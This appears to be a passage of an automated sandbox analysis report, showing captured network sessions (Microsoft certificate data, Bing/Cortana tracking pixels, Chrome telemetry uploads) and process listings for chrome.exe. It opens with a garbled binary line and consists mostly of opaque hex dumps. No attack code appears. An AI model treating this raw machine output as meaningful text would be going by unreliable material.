\|$z@dxP`<iX6H)*e&}X)ZxIR4[NWyhN6LwkoPq5burX>]U"c->I8W\guHeqG2Am"Uy0TFTm'"G(y>@H
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 a9 9d 26 b6 7a 21 ff 73 7a 7d 44 18 6d a3 7f b8 a4 78 23 38 6f 6b cd 97 ef 3f 75 99 b5 f5 2a e7 7c f9 a2 de ed d8 f1 6e 7b d7 b0 43 9c ac ff 11 e2 94 7d 61 09 b5 51 4e 0f 1b 03 13 b4 e1 92 7e 9e 6b d5 a1 e0 c3 e3 f1 92 12 81 23 1d 9e 5b 8c 83 b9 a6 f2 ce fc 34 44 06 ee 97 6a 1a ad 7a 2a 89 47 bd 67 a2 d1 1b 21 b0 95 e8 29 23 38 98 10 56 c4 12 82 e9 48 03 14 04 7f bf 70 42 b6 d9 b6 04 1b 03 9c 67 15 67 02 d2 9d 6a ae 97 5b 7d 39 7e 4d a2 c1 ac 9f 7c 54 6e 51 8b bf 3d a5 80 c1 91 a9 64 bb 20 52 b5 85 97 b4 95 50 0a 41 6e 51 f1 ca cb 97 e4 bf 2a 74 93 cf a7 ba 48 88 0c 5f 19 af 70 7d 15 f1 9f 24 d6 9c 85 c7 06 de 82 3c 2b c3 8b fc 4e 4e e9 0e fa 79 68 26 98 fa e0 d5 Data Ascii: "0H0&z!sz}Dmx#8ok?u\|n{C}aQN~k#[4DjzGg!)#8VHpBggj[}9~M\|TnQ=d RPAnQtH_p}$<+NNyh&
2025-05-21 19:48:44 UTC	1460	IN	Data Raw: 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f 73 6f 66 74 20 55 70 64 61 74 65 20 53 69 67 6e 69 6e 67 20 43 41 20 32 2e 33 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ac 39 80 cb 34 50 ca 26 3f 5d 76 26 ca d3 8c c1 1d 5c eb 30 97 c6 66 86 26 a6 d5 5d 5f 4f cd 80 4c 0f 67 ec 25 0c bb 39 11 3b 6e 86 fd c7 21 27 60 fc 80 7c 01 89 ad e8 6e cd bd d0 47 5f 58 6d 00 3b 46 57 99 7d 16 b3 76 12 8b ca 9d 86 6c 1d 70 9a 69 d4 45 fe ce 72 ea ca ca 94 60 9d 7c 73 Data Ascii: 10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicrosoft Update Signing CA 2.30"0*H094P&?]v&\0f&]_OLg%9;n!'`\|nG_Xm;FW}vlpiEr`\|s

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49754	150.171.64.254	443

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:46 UTC	450	OUT	GET /apc/trans.gif?941c3825363a6839f33173a126de5f02 HTTP/1.1 host: ev2-ring.msedge.net referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 accept-language: en-CH accept-encoding: identity user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
2025-05-21 19:48:46 UTC	690	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate content-length: 43 content-type: image/gif last-modified: Sun, 11 May 2025 03:48:58 GMT accept-ranges: bytes etag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D access-control-allow-origin: * access-control-expose-headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName timing-allow-origin: * x-content-type-options: nosniff x-endpoint: LAX31r5b x-frontend: AFD x-machinename: LAX311000112029 x-userhostaddress: 191.101.61.0 x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 2B8D111F41334A40A93FD5C3D830E895 Ref B: LAX311000112029 Ref C: 2025-05-21T19:48:45Z date: Wed, 21 May 2025 19:48:45 GMT
2025-05-21 19:48:46 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;
2025-05-21 19:48:46 UTC	450	OUT	GET /apc/trans.gif?8edb52e3cbea2d91db3c7ce8631209c8 HTTP/1.1 host: ev2-ring.msedge.net referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 accept-language: en-CH accept-encoding: identity user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045
2025-05-21 19:48:46 UTC	690	IN	HTTP/1.1 200 OK cache-control: no-cache, no-store, must-revalidate content-length: 43 content-type: image/gif last-modified: Sun, 11 May 2025 03:48:58 GMT accept-ranges: bytes etag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D access-control-allow-origin: * access-control-expose-headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName timing-allow-origin: * x-content-type-options: nosniff x-endpoint: LAX31r5b x-frontend: AFD x-machinename: LAX311000112029 x-userhostaddress: 191.101.61.0 x-cache: CONFIG_NOCACHE x-msedge-ref: Ref A: 72EBFCB3D4EF487E93BD82827F050D3B Ref B: LAX311000112029 Ref C: 2025-05-21T19:48:46Z date: Wed, 21 May 2025 19:48:45 GMT
2025-05-21 19:48:46 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49755	142.250.141.94	443	5512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-05-21 19:48:51 UTC	565	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 1314 x-chrome-uma-log-sha1: 61EB9754EC59EC1468372A82688F28C5E3B24AD8 x-chrome-uma-log-hmac-sha256: oIjBCPIkq/9rkR3vAb9GZyjNs3ZsBoMQvpcrpj8A7aE= x-chrome-uma-reportinginfo: CAE= content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:48:51 UTC	1314	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 00 3d 94 7d 54 8c 59 18 c0 df f7 55 99 ae 6e a6 72 55 63 7d 95 43 ac 99 7d e7 b3 99 3e 67 db 48 97 c9 86 b4 fa c0 4c 0d 5b 34 83 7c 2c 1b 46 45 4c 75 36 76 ab 95 9c 2d 9d 48 68 6b 1d e1 10 fb 21 6c 42 0a d9 b3 25 ab 53 91 8d 4a 46 ed 8e 6d bd 67 f7 ce fd eb 77 7e e7 b9 f7 b9 e7 b9 cf 7d 1c 4b d4 a5 17 8b 87 92 13 f8 8c e0 b5 13 af ba 7e b8 ce c1 95 2f 96 ca 44 ac 48 a1 52 29 45 52 85 50 21 f3 68 fa fd d4 15 07 2f 7b bd 41 18 b5 74 8e 07 00 d1 49 86 44 e3 b6 d4 69 11 cb 5c 81 98 15 b1 22 b1 8a 95 c9 25 06 e0 f0 85 52 b1 4a 21 e3 8f 4e f5 30 99 72 2c 37 46 a7 7a 81 e5 9a 6d da 4d 7a 09 3b 57 ec 43 b3 26 a0 34 f1 42 00 8f e2 53 02 4a 42 f9 51 9a 53 77 af 86 44 3d 7f 7d 35 44 4f 51 a6 e0 64 0f e0 14 a6 37 6c 49 32 e8 c3 0d 9b f5 eb Data Ascii: =}TYUnrUc}C}>gHL[4\|,FELu6v-Hhk!lB%SJFmgw~}K~/DHR)ERP!h/{AtIDi\"%RJ!N0r,7FzmMz;WC&4BSJBQSwD=}5DOQd7lI2
2025-05-21 19:48:51 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:48:51 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:48:51 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 02 ff f3 f7 06 00 2d d9 36 d7 02 00 00 00 Data Ascii: -6
2025-05-21 19:48:54 UTC	572	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 424 x-chrome-uma-log-sha1: C0E5B32F8C7008A7A72931A23A6F6F0F3F6FA87B x-chrome-uma-log-hmac-sha256: ncRV42CS6xvxTZ83pmyboEXFFsZYjljWYsiUdLzL/b0= x-chrome-uma-reportinginfo: CAEQyAEYACAB content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:48:54 UTC	424	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 00 e3 5c e0 b0 70 e7 9c 2f 59 c9 02 8c 52 17 99 38 36 1c fd b1 97 4d 48 c0 d0 d8 44 cf 40 cf cc d2 d2 42 cf d8 4c d7 cc 44 e2 c2 ed d5 fb d8 94 58 53 f3 74 43 83 b5 24 b8 b8 c2 33 f3 52 f2 cb 8b 15 fc 42 84 b8 0c 0d f4 0c f4 0c 2d 0d 4c 4c 8d f2 b8 d8 2a 2c cc e2 cd 4c 04 fe cb 4b 34 34 f4 7c 3b fe 5f 5e 89 2b cc b7 3c b1 28 d5 c8 40 c7 50 83 d1 a0 81 cb a2 81 c3 89 8b 83 41 80 41 8a c1 88 c1 8a c1 77 f5 f9 fd 4e a1 2f 3f ef 77 4a 65 60 68 b0 cf 92 e0 e2 71 4f cd 2b cd cc 4b f5 cc 2b 49 cd 11 f8 d1 ab 20 c1 a4 c0 a0 c1 d0 c4 c8 d0 c5 c8 b0 8a 11 6a c5 06 46 46 2f 2e de 5c 65 ab 38 d1 94 23 d6 09 5e 5c bc 8e 13 3e 6d 13 4d 5a 6e c8 e7 c5 c5 3b 69 7b f8 66 51 83 75 9f ee 78 71 f1 b2 f2 7d f8 22 da d0 5b 7b 2a 80 25 8a 89 83 21 89 Data Ascii: \p/YR86MHD@BLDXStC$3RB-LL,LK44\|;_^+<(@PAAwN/?wJe`hqO+K+I jFF/.\e8#^\>mMZn;i{fQuxq}"[{%!
2025-05-21 19:48:54 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:48:54 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:48:54 UTC	22	IN	Data Raw: 1f 8b 08 00 00 00 00 00 02 ff f3 f7 06 00 2d d9 36 d7 02 00 00 00 Data Ascii: -6
2025-05-21 19:48:58 UTC	574	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 40908 x-chrome-uma-log-sha1: D3BF4EE0AD6E75660507BE4E3420A5FDA63BA223 x-chrome-uma-log-hmac-sha256: IeShvGdpXdejLFHUWcW6oVR+r71Q96eEG9SROfJJbRw= x-chrome-uma-reportinginfo: CAEQyAEYACAB content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 00 c4 bd 79 3c 55 5f db 38 ec 8c f6 32 9d 65 0a 1b 39 34 90 52 9c 64 a8 54 a4 41 f3 a0 a4 a2 51 a5 79 10 a5 92 90 68 10 91 10 a5 14 45 2a 8a 42 91 a1 24 45 1a 50 24 7c 13 49 32 55 48 bc f7 da 67 ed cd f7 7e ee e7 b9 ef e7 fd fd 3e ef db 1f ae 73 5d 7b 4d 7b ed b5 ae 75 8d 2b 10 3d e5 52 5a 64 c7 e6 75 90 43 7e e6 10 b7 1f 77 3e e4 2b 40 a3 b1 c6 a3 0d 47 9b 98 9b 9b 8d 1e 6b 62 60 62 ac fa b2 22 21 93 af c3 73 da 6e b0 64 b1 be aa 94 94 9d f3 f6 f5 3b dc f6 08 e7 d9 2a 48 19 19 8e 36 1c 6d 64 6e 68 3c 4e b4 5d 8a bf cf cc 64 95 89 31 ec d3 52 f5 f4 3c f9 33 bf 4f 4b 47 6a e9 5c b7 35 bb 9d 44 86 a3 8c f4 58 86 9e 52 66 9e 84 95 14 21 01 25 48 09 91 c4 78 89 b9 09 c5 59 56 4b be b4 67 59 39 49 48 78 4e de ac 2a 25 33 c3 69 fb 5e Data Ascii: y<U_82e94RdTAQyhEB$EP$\|I2UHg~>s]{M{u+=RZduC~w>+@Gkb`b"!snd;H6mdnh<N]d1R<3OKGj\5DXRf!%HxYVKgY9IHxN*%3i^
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: ac 7d 84 60 eb cb d7 4f 11 fc e5 1b ff 1c c1 98 88 4b 45 08 06 3e fe 54 86 60 5d 62 48 2d 55 ae b5 a3 07 c1 9b d7 ae 1d e3 a3 f5 e4 77 d3 0f c1 d4 b6 73 fe 08 b6 3c aa 09 44 30 b4 b2 31 04 c1 f3 f7 f2 a2 11 fc 98 fb f5 12 82 b5 d7 02 d3 29 fa a9 f0 1c 04 53 3c 2f e6 23 58 e0 97 5e 88 60 a0 77 ce 0b 04 2b 6f dc 2d 45 b0 f4 ae ef 27 04 af f9 3e ff 8c a0 cf c3 a7 f5 08 96 37 de fb 86 60 52 c0 f7 56 04 ef 3c ef eb 41 f0 5d 5e a5 37 5a 6d ef 5a 32 fc 11 4c ac 8c 3b 21 49 12 30 a6 33 f8 ac 24 f5 ed ff ca bd 78 16 3d 69 c8 e8 0b 45 f0 62 d6 e5 73 08 fa 3c cb 8b 40 25 1f 07 3d 39 2f 2e 79 cb af 34 12 3d c9 ab ae bd 8c 9e 54 b6 55 5d 11 3f 69 bc 15 7e 03 3d 89 ad bc 4a c1 af dd 55 c9 08 fe 55 f0 ed 0e 2a 99 54 7d bc 40 5c 32 b9 2f ef 25 7a 52 f3 38 e2 35 82 65 b1 Data Ascii: }`OKE>T`]bH-Uws<D01)S</#X^`w+o-E'>7`RV<A]^7ZmZ2L;!I03$x=iEbs<@%=9/.y4=TU]?i~=JUU*T}@\2/%zR85e
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: 7d 76 77 6a 5b 34 1a 22 e1 93 f8 cc 82 41 6c d1 44 50 15 2e ad 2f 2b dd 2b 05 43 28 35 46 28 49 b2 09 f4 8b 2d d6 03 28 9e cf 25 08 28 45 b2 09 79 92 4b 28 41 d5 7f f0 36 3d 68 48 75 f2 23 70 52 fe e1 f8 dd f1 d4 48 10 1f 9b 99 d6 fb a9 3d 27 3e 0d f7 aa 0c b4 bb 7a a6 16 fc 99 d6 84 b8 07 c1 12 ca 52 fc 7e 04 50 b6 cf db 71 e5 d5 0b 73 b8 98 ea 95 4b 72 21 9f 52 6f d0 91 8a 54 20 0e c9 25 a4 a1 9c 68 0c 28 cf 9f 1b 96 b6 d3 a0 1b fa f2 b1 12 c5 26 78 78 5c d2 50 8e e4 10 2f 58 24 41 f4 b0 60 2a 3a b1 66 83 6b b5 07 f6 e8 b0 aa cc a0 ef 53 2e c9 23 8a 64 84 1c 92 43 3c 12 90 1c e2 98 22 49 10 a9 2a b0 0e 71 26 0e 91 34 84 e4 10 59 23 49 1e 91 31 4e c8 26 09 a2 c2 12 d6 2e a0 b4 a6 98 75 d0 cb 5d a4 05 dc f7 3e cb dd 2a 72 74 85 66 78 7a d0 40 11 7b 97 84 Data Ascii: }vwj[4"AlDP./++C(5F(I-(%(EyK(A6=hHu#pRH='>zR~PqsKr!RoT %h(&xx\P/X$A`:fkS.#dC<"Iq&4Y#I1N&.u]>*rtfxz@{
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: 76 b3 27 46 2f bd e9 1c a2 f1 fd a9 09 46 b3 de 4e b6 7f 65 15 3b 0f a3 99 2d bd 33 3e 99 4e 3f 4a 4f bb e9 b2 0a 05 c5 c6 b5 18 bd 38 2f 68 73 90 ba c9 4f 8c 1e fe f6 65 62 e2 18 9d 91 b4 a6 ae 38 f3 5c 92 4f 70 00 46 2f 87 4b 65 57 c4 da d3 6a bd 66 f9 ea 05 d1 1b 4d 05 18 7d 7d 23 d7 cc 2d 82 a3 8d 51 a3 d4 b5 ec 15 4d c5 b4 36 51 f6 60 c7 54 a9 dd 1f ae 63 d4 40 30 f9 50 49 f5 73 67 7a 62 dd e6 5a 5b dc 05 f4 ba b2 0a 8b 5d 39 cb 62 b0 3a 46 c3 22 39 5b dc 4e dc ee c2 e8 fb 32 b9 ab 02 89 27 33 31 7a d2 64 ae 7a de 1a b8 14 a3 e3 2e 5b fd b8 3f b9 73 07 3d b1 8f 7e ec 1e 9c 9d 44 8f aa 6b 7e a1 ad 91 d4 8d 70 8c 72 b6 f5 3e f0 ac cb 7b 8f d1 c2 e3 6f 7b d2 92 1e 7a 60 f4 e8 16 bb dd 71 37 7f 6f c0 a8 da b2 e0 58 f3 59 4b ae d0 ab ee 54 f9 2f c1 68 eb Data Ascii: v'F/FNe;-3>N?JO8/hsOeb8\OpF/KeWjfM}}#-QM6Q`Tc@0PIsgzbZ[]9b:F"9[N2'31zdz.[?s=~Dk~pr>{o{z`q7oXYKT/h
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: 94 22 a2 7b a5 20 32 7c 49 8a 54 40 e8 f4 35 a1 ec e7 1e 36 d0 9c 64 43 74 5e 28 91 6c 38 48 a4 08 0c 9c 8f fa 9c b5 b5 34 83 48 b3 42 66 19 05 91 0a 28 fd fa ca fe 68 c1 2e de 3f 95 56 01 3b e2 77 3f ca 2d 27 fa fe cb 03 6b af b0 e4 9f ce f2 3b fe e9 81 00 3c 5f 3c fc 7b 91 7b 6b 3b 94 a7 da 16 00 eb 69 b1 93 fe 02 f2 79 98 a0 08 24 be 8d 55 3f 27 ac 11 0c 18 81 00 bc de 50 e6 64 54 52 b6 8f a9 16 a7 a3 60 76 cb f6 db 42 4c 90 05 6a 19 ca 4d f3 e3 67 b9 e3 09 55 f8 b0 6b 7a 78 f8 b5 bb cc 84 9f ba 9d 55 78 e5 44 da 74 7a 91 be 0e 1e b7 a5 7a f7 17 5c 7c b4 c1 5f 91 d9 36 35 13 99 c9 ac 54 ff e2 24 a1 bb 6e 2a 53 bf d7 ec a0 69 f1 d3 97 c6 98 91 38 bf 3d 35 3d 23 ca 5d 1f 59 0d 20 5b 28 f3 8f 2a 2b 93 9e 08 c2 26 1f 0e c5 1e 74 59 30 44 5e b9 6b df 9e 3d Data Ascii: "{ 2\|IT@56dCt^(l8H4HBf(h.?V;w?-'k;<_<{{k;iy$U?'PdTR`vBLjMgUkzxUxDtzz\\|_65T$nSi8=5=#]Y [(+&tY0D^k=
2025-05-21 19:48:58 UTC	1460	OUT	Data Raw: 60 e3 06 4d 46 e9 90 de f8 9c 9c cd ad 27 70 85 69 a1 77 0f a7 8f 1c 7b 80 f9 d2 32 1d e7 0c 26 d8 ca de 60 be c6 a0 a7 2a ad 37 6e e9 6f c2 1d 96 24 94 3b ff aa 36 7e 83 d1 e5 6e 96 3e f9 f7 4b f5 70 73 c7 a5 73 bb cc 25 cf 0b 98 da eb 67 da 57 ba ff 9e 53 4e bf 1b 51 f5 64 b1 54 fa 7b 5c fc f6 58 0f ff a2 c1 ab 48 a6 f8 94 c7 09 4d 37 66 8f a1 ed 0d 89 bd d1 1b 1b c2 7a 04 58 7e 38 bf b1 7b d3 bb bf ca 46 c3 65 24 97 b0 83 ae 88 2f 47 5d 8c f9 1e 79 81 5e d6 4b 12 27 04 77 26 ec cc c1 ed 5f 25 b7 db dc 9e e4 53 81 db 57 04 9f e6 0d 2b 4a f9 10 d7 0b 9b 9f b1 48 2e fc fe 0c 55 aa 4a 3c e7 d7 e9 90 2b 9e 12 6d 90 ac 1d ed 3a c1 c2 ed 3c 4c bf f5 aa b2 8f 76 81 66 30 08 b2 25 6f d1 e3 25 95 71 22 99 71 3f fc 1e 1f ba b6 c4 74 05 3e dc cd 1e 6e 36 0e 56 4d Data Ascii: `MF'piw{2&`*7no$;6~n>Kpss%gWSNQdT{\XHM7fzX~8{Fe$/G]y^K'w&_%SW+JH.UJ<+m:<Lvf0%o%q"q?t>n6VM
2025-05-21 19:48:58 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:48:58 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:49:01 UTC	574	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 33217 x-chrome-uma-log-sha1: C53B7C9728157227EA782ECA63DED70FFBED4C8E x-chrome-uma-log-hmac-sha256: lVvZOJGpJiHyqCehT5iwv7XsKYbpvOiJczGld/86/pc= x-chrome-uma-reportinginfo: CAEQyAEYACAB content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:49:01 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:49:01 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:49:05 UTC	574	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 26985 x-chrome-uma-log-sha1: 819887068C843E2BFB571C51796D2F623F1D8F2C x-chrome-uma-log-hmac-sha256: ZO9HhoUawVUbN4sEI/vAXjCrq6+ElZJaF048fN+dxfg= x-chrome-uma-reportinginfo: CAEQyAEYACAB content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:49:05 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:49:05 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
2025-05-21 19:49:08 UTC	574	OUT	POST /uma/v2 HTTP/1.1 host: clientservices.googleapis.com content-length: 53950 x-chrome-uma-log-sha1: E8FC3F6E1178BCF28BC0D94A11D7E74C58381640 x-chrome-uma-log-hmac-sha256: +VPkvcuCl8/rf1iCh6llACBmnLUHN1cEwEMrcxraXmg= x-chrome-uma-reportinginfo: CAEQyAEYACAB content-encoding: gzip content-type: application/vnd.chrome.uma sec-fetch-site: none sec-fetch-mode: no-cors sec-fetch-dest: empty user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept-encoding: identity priority: u=4, i
2025-05-21 19:49:08 UTC	681	IN	HTTP/1.1 200 OK content-type: text/plain; charset=UTF-8 content-security-policy-report-only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/asuacrsguc:50:0 cross-origin-opener-policy-report-only: same-origin; report-to=asuacrsguc:50:0 report-to: {"group":"asuacrsguc:50:0","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/asuacrsguc:50:0"}],} content-encoding: gzip date: Wed, 21 May 2025 19:49:08 GMT server: scaffolding on HTTPServer2 content-length: 22 x-xss-protection: 0 x-frame-options: SAMEORIGIN alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

Target ID:	0
Start time:	15:47:46
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	15:47:50
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2068 /prefetch:3
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:47:52
Start date:	21/05/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2016,i,417186349821200926,11770351535666709543,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=3016 /prefetch:8
Imagebase:	0x7ff6a4160000
File size:	3'388'000 bytes
MD5 hash:	E81F54E6C1129887AEA47E7D092680BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:47:56
Start date:	21/05/2025
